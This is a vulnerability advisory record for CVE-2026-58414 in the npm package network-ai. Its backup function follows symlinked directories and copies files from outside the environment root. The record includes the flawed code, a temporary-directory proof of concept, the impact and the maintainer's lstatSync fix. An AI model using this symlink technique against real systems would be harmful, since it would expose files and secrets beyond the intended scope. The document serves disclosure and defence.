{"id":"CVE-2026-58414","aliases":["GHSA-6x2m-p4xp-wg22"],"url":"https://o3.security/vulnerability/CVE-2026-58414","summary":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","details":"### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/<env>` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/<env>/.backups/<backupId>/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n  const src = join(envDir, rel);\n  const dst = join(backupPath, rel);\n  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n  walk(full, rel);\n} else {\n  results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env <env>`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` — backup copy logic.\n- `lib/env-manager.ts:596-617` — symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` — default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` — backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup('dev')` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst outside = path.join(base, 'outside');\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');\n\nconst result = mgr.backup('dev');\nconst copied = path.join(result.path, 'linked-outside', 'secret.txt');\n\nconsole.log(JSON.stringify({\n  copied: fs.existsSync(copied),\n  content: fs.readFileSync(copied, 'utf8'),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/<env>` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/<env>/.backups/<backupId>/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.","published":"2026-07-20T16:28:29.809Z","modified":"2026-10-26T02:31:04.470289424Z","cvss":{"score":5.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.00203,"percentile":0.10433,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"network-ai","fixedVersion":"5.12.2"}],"fix":{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3","label":"Jovancoding/Network-AI@a59c13a"},"references":[{"type":"WEB","url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58414.json"},{"type":"ADVISORY","url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-6x2m-p4xp-wg22"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58414"},{"type":"FIX","url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"},{"type":"PACKAGE","url":"https://github.com/Jovancoding/Network-AI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-26T02:31:04.470289424Z"}}